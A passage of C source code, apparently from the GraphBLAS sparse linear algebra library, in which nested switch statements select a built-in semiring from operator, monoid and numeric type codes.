case GB_INT64_code : return (GxB_PLUS_FIRST_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_FIRST_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_FIRST_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_FIRST_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_FIRST_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_FIRST_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_FIRST_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_FIRST_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_FIRST_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_FIRST_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_FIRST_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_FIRST_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_FIRST_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_FIRST_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_FIRST_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_FIRST_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_FIRST_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_FIRST_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_FIRST_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_FIRST_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_FIRST_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_FIRST_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_FIRST_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_FIRST_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_SECOND_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GrB_MIN_SECOND_SEMIRING_INT8 ) ;
case GB_INT16_code : return (GrB_MIN_SECOND_SEMIRING_INT16 ) ;
case GB_INT32_code : return (GrB_MIN_SECOND_SEMIRING_INT32 ) ;
case GB_INT64_code : return (GrB_MIN_SECOND_SEMIRING_INT64 ) ;
case GB_UINT8_code : return (GrB_MIN_SECOND_SEMIRING_UINT8 ) ;
case GB_UINT16_code : return (GrB_MIN_SECOND_SEMIRING_UINT16) ;
case GB_UINT32_code : return (GrB_MIN_SECOND_SEMIRING_UINT32) ;
case GB_UINT64_code : return (GrB_MIN_SECOND_SEMIRING_UINT64) ;
case GB_FP32_code : return (GrB_MIN_SECOND_SEMIRING_FP32 ) ;
case GB_FP64_code : return (GrB_MIN_SECOND_SEMIRING_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GrB_MAX_SECOND_SEMIRING_INT8 ) ;
case GB_INT16_code : return (GrB_MAX_SECOND_SEMIRING_INT16 ) ;
case GB_INT32_code : return (GrB_MAX_SECOND_SEMIRING_INT32 ) ;
case GB_INT64_code : return (GrB_MAX_SECOND_SEMIRING_INT64 ) ;
case GB_UINT8_code : return (GrB_MAX_SECOND_SEMIRING_UINT8 ) ;
case GB_UINT16_code : return (GrB_MAX_SECOND_SEMIRING_UINT16) ;
case GB_UINT32_code : return (GrB_MAX_SECOND_SEMIRING_UINT32) ;
case GB_UINT64_code : return (GrB_MAX_SECOND_SEMIRING_UINT64) ;
case GB_FP32_code : return (GrB_MAX_SECOND_SEMIRING_FP32 ) ;
case GB_FP64_code : return (GrB_MAX_SECOND_SEMIRING_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_SECOND_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_SECOND_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_SECOND_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_SECOND_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_SECOND_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_SECOND_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_SECOND_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_SECOND_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_SECOND_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_SECOND_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_SECOND_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_SECOND_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_SECOND_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_SECOND_UINT16) ;
case GB_INT32_code : return (GxB_TIMES_SECOND_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_SECOND_UINT32) ;
case GB_INT64_code : return (GxB_TIMES_SECOND_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_SECOND_UINT64) ;
case GB_FP32_code : return (GxB_TIMES_SECOND_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_SECOND_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_SECOND_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_SECOND_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_SECOND_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_SECOND_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_SECOND_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_SECOND_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_SECOND_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_SECOND_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_SECOND_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_SECOND_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_PAIR_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_PAIR_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_PAIR_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_PAIR_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_PAIR_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_PAIR_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_PAIR_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_PAIR_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_PAIR_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_PAIR_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_PAIR_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_PAIR_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_PAIR_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_PAIR_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_PAIR_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_PAIR_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_PAIR_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_PAIR_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_PAIR_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_PAIR_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_PAIR_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_PAIR_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_PAIR_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_PAIR_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_PAIR_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_PAIR_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_PAIR_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_PAIR_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_PAIR_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_PAIR_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_PAIR_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_PAIR_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_PAIR_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_PAIR_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_PAIR_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_PAIR_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_PAIR_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_PAIR_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_PAIR_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_PAIR_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_PAIR_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_PAIR_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_PAIR_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_PAIR_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_PAIR_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_PAIR_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_PAIR_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_PAIR_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_PAIR_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_PAIR_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_PAIR_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_MIN_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_MIN_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_MIN_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_MIN_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_MIN_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_MIN_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_MIN_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_MIN_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_MIN_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_MIN_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_MIN_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GrB_MAX_MIN_SEMIRING_INT8 ) ;
case GB_INT16_code : return (GrB_MAX_MIN_SEMIRING_INT16 ) ;
case GB_INT32_code : return (GrB_MAX_MIN_SEMIRING_INT32 ) ;
case GB_INT64_code : return (GrB_MAX_MIN_SEMIRING_INT64 ) ;
case GB_UINT8_code : return (GrB_MAX_MIN_SEMIRING_UINT8 ) ;
case GB_UINT16_code : return (GrB_MAX_MIN_SEMIRING_UINT16) ;
case GB_UINT32_code : return (GrB_MAX_MIN_SEMIRING_UINT32) ;
case GB_UINT64_code : return (GrB_MAX_MIN_SEMIRING_UINT64) ;
case GB_FP32_code : return (GrB_MAX_MIN_SEMIRING_FP32 ) ;
case GB_FP64_code : return (GrB_MAX_MIN_SEMIRING_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GrB_PLUS_MIN_SEMIRING_INT8 ) ;
case GB_INT16_code : return (GrB_PLUS_MIN_SEMIRING_INT16 ) ;
case GB_INT32_code : return (GrB_PLUS_MIN_SEMIRING_INT32 ) ;
case GB_INT64_code : return (GrB_PLUS_MIN_SEMIRING_INT64 ) ;
case GB_UINT8_code : return (GrB_PLUS_MIN_SEMIRING_UINT8 ) ;
case GB_UINT16_code : return (GrB_PLUS_MIN_SEMIRING_UINT16) ;
case GB_UINT32_code : return (GrB_PLUS_MIN_SEMIRING_UINT32) ;
case GB_UINT64_code : return (GrB_PLUS_MIN_SEMIRING_UINT64) ;
case GB_FP32_code : return (GrB_PLUS_MIN_SEMIRING_FP32 ) ;
case GB_FP64_code : return (GrB_PLUS_MIN_SEMIRING_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_MIN_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_MIN_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_MIN_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_MIN_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_MIN_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_MIN_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_MIN_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_MIN_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_MIN_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_MIN_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_MIN_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_MIN_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_MIN_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_MIN_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_MIN_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_MIN_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_MIN_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_MIN_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_MIN_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_MIN_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_MAX_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GrB_MIN_MAX_SEMIRING_INT8 ) ;
case GB_INT16_code : return (GrB_MIN_MAX_SEMIRING_INT16 ) ;
case GB_INT32_code : return (GrB_MIN_MAX_SEMIRING_INT32 ) ;
case GB_INT64_code : return (GrB_MIN_MAX_SEMIRING_INT64 ) ;
case GB_UINT8_code : return (GrB_MIN_MAX_SEMIRING_UINT8 ) ;
case GB_UINT16_code : return (GrB_MIN_MAX_SEMIRING_UINT16) ;
case GB_UINT32_code : return (GrB_MIN_MAX_SEMIRING_UINT32) ;
case GB_UINT64_code : return (GrB_MIN_MAX_SEMIRING_UINT64) ;
case GB_FP32_code : return (GrB_MIN_MAX_SEMIRING_FP32 ) ;
case GB_FP64_code : return (GrB_MIN_MAX_SEMIRING_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_MAX_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_MAX_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_MAX_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_MAX_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_MAX_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_MAX_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_MAX_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_MAX_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_MAX_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_MAX_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_MAX_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_MAX_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_MAX_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_MAX_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_MAX_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_MAX_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_MAX_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_MAX_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_MAX_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_MAX_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_MAX_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_MAX_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_MAX_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_MAX_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_MAX_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_MAX_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_MAX_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_MAX_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_MAX_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_MAX_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_MAX_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_MAX_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_MAX_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_MAX_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_MAX_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_MAX_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_MAX_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_MAX_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_MAX_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_MAX_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_PLUS_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GrB_MIN_PLUS_SEMIRING_INT8 ) ;
case GB_INT16_code : return (GrB_MIN_PLUS_SEMIRING_INT16 ) ;
case GB_INT32_code : return (GrB_MIN_PLUS_SEMIRING_INT32 ) ;
case GB_INT64_code : return (GrB_MIN_PLUS_SEMIRING_INT64 ) ;
case GB_UINT8_code : return (GrB_MIN_PLUS_SEMIRING_UINT8 ) ;
case GB_UINT16_code : return (GrB_MIN_PLUS_SEMIRING_UINT16) ;
case GB_UINT32_code : return (GrB_MIN_PLUS_SEMIRING_UINT32) ;
case GB_UINT64_code : return (GrB_MIN_PLUS_SEMIRING_UINT64) ;
case GB_FP32_code : return (GrB_MIN_PLUS_SEMIRING_FP32 ) ;
case GB_FP64_code : return (GrB_MIN_PLUS_SEMIRING_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GrB_MAX_PLUS_SEMIRING_INT8 ) ;
case GB_INT16_code : return (GrB_MAX_PLUS_SEMIRING_INT16 ) ;
case GB_INT32_code : return (GrB_MAX_PLUS_SEMIRING_INT32 ) ;
case GB_INT64_code : return (GrB_MAX_PLUS_SEMIRING_INT64 ) ;
case GB_UINT8_code : return (GrB_MAX_PLUS_SEMIRING_UINT8 ) ;
case GB_UINT16_code : return (GrB_MAX_PLUS_SEMIRING_UINT16) ;
case GB_UINT32_code : return (GrB_MAX_PLUS_SEMIRING_UINT32) ;
case GB_UINT64_code : return (GrB_MAX_PLUS_SEMIRING_UINT64) ;
case GB_FP32_code : return (GrB_MAX_PLUS_SEMIRING_FP32 ) ;
case GB_FP64_code : return (GrB_MAX_PLUS_SEMIRING_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_PLUS_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_PLUS_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_PLUS_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_PLUS_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_PLUS_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_PLUS_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_PLUS_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_PLUS_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_PLUS_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_PLUS_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_PLUS_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_PLUS_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_PLUS_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_PLUS_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_PLUS_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_PLUS_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_PLUS_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_PLUS_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_PLUS_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_PLUS_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_PLUS_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_PLUS_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_PLUS_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_PLUS_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_PLUS_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_PLUS_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_PLUS_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_PLUS_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_PLUS_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_PLUS_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_MINUS_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_MINUS_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_MINUS_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_MINUS_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_MINUS_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_MINUS_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_MINUS_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_MINUS_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_MINUS_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_MINUS_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_MINUS_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_MINUS_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_MINUS_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_MINUS_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_MINUS_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_MINUS_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_MINUS_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_MINUS_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_MINUS_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_MINUS_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_MINUS_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_MINUS_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_MINUS_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_MINUS_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_MINUS_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_MINUS_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_MINUS_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_MINUS_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_MINUS_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_MINUS_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_MINUS_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_MINUS_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_MINUS_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_MINUS_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_MINUS_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_MINUS_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_MINUS_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_MINUS_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_MINUS_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_MINUS_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_MINUS_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_MINUS_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_MINUS_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_MINUS_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_MINUS_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_MINUS_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_MINUS_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_MINUS_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_MINUS_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_MINUS_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_MINUS_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_RMINUS_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_RMINUS_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_RMINUS_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_RMINUS_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_RMINUS_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_RMINUS_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_RMINUS_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_RMINUS_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_RMINUS_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_RMINUS_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_RMINUS_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_RMINUS_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_RMINUS_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_RMINUS_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_RMINUS_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_RMINUS_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_RMINUS_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_RMINUS_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_RMINUS_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_RMINUS_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_RMINUS_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_RMINUS_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_RMINUS_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_RMINUS_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_RMINUS_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_RMINUS_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_RMINUS_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_RMINUS_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_RMINUS_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_RMINUS_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_RMINUS_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_RMINUS_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_RMINUS_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_RMINUS_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_RMINUS_UINT16) ;
case GB_INT32_code : return (GxB_TIMES_RMINUS_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_RMINUS_UINT32) ;
case GB_INT64_code : return (GxB_TIMES_RMINUS_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_RMINUS_UINT64) ;
case GB_FP32_code : return (GxB_TIMES_RMINUS_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_RMINUS_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_RMINUS_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_RMINUS_UINT8 ) ;
